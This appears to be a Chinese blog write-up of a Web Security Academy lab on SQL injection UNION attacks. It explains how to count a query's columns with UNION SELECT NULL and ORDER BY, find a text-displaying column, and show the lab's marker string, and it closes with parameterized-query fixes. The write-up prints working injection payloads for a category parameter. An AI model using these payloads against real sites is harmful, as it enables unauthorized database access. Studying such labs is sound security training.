1.背景
题目:Lab:SQL injection UNION attack,finding a column containing text
链接:SQL injection UNION attacks | Web Security Academy
目标:通过UNION注入确定查询返回的列数,找到能够回显字符串的列,并让页面成功显示指定的随机字符串。
2.原理
- UNION的两个硬性要求:查询列数和类型兼容
- 用NULL是因为NULL可以转换为任何数据类型
- NULL只保证不报错,但不会在页面上产生可见内容。要找到"能显示字符串的列",需要把某一列换成字符串(如'a'),观察页面哪里多出了这个字符——页面上出现a的那一列,就是兼容字符串的显示位。
- 'a'是字符串值,必须加单引号(username这类是列名,不能加单引号)
3.攻击步骤
Step 1:确认注入点
点分类链接,确认URL里有?category=Pets,说明这个参数可控。
Step 2:确定列数
法1:用UNION SELECT NULL递增探测列数
在category参数里依次尝试
1列Gifts'+UNION+SELECT+NULL--+报错
2列Gifts'+UNION+SELECT+NULL,NULL--+报错
3列Gifts'+UNION+SELECT+NULL,NULL,NULL--+页面正常
4列Gifts'+UNION+SELECT+NULL,NULL,NULL,NULL--+报错(验证)
法2:用ORDER BY探测(更快)
Gifts'+ORDER+BY+1--+→正常
Gifts'+ORDER+BY+2--+→正常
Gifts'+ORDER+BY+3--+→正常
Gifts'+ORDER+BY+4--+→报错→说明列数为3
结论一致:原查询返回3列。ORDER BY只观察"是否报错",反馈更直接,因此比UNION NULL递增更快。
Step 3:找到兼容字符串的列
将某一列替换为字符串'a',逐列试探(其余列用NULL占位):
第1列放'a'Gifts'+UNION+SELECT+'a',NULL,NULL--+页面无a出现
第2列放'a'Gifts'+UNION+SELECT+NULL,'a',NULL--+有a出现
第3列放'a'Gifts'+UNION+SELECT+NULL,NULL,'a'--+
结论:第2列为字符串显示位。
Step 4:让实验室随机值出现在页面上
将'a'替换为实验室顶部提供的随机字符串(假设为IPvqdb),保持放在第2列:
Gifts'+UNION+SELECT+NULL,'IPvqdb',NULL--+
页面正常返回且出现IPvqdb→实验已解决
4.修复方案
1.UNION攻击的修复方式与上一道相同:使用参数化查询。无论是WHERE子句注入还是UNION注入,只要把用户输入当作数据传,结构就无法改变。
2.对于需要动态拼接SQL的场景,应该限制用户输入的格式,不要让任意字符串进入SQL。
5.反思
通过逐列将字符串替换NULL并观察是否报错(判断类型兼容)和是否回显(判断显示位),以试错方式定位目标列。

475

被折叠的 条评论
为什么被折叠?



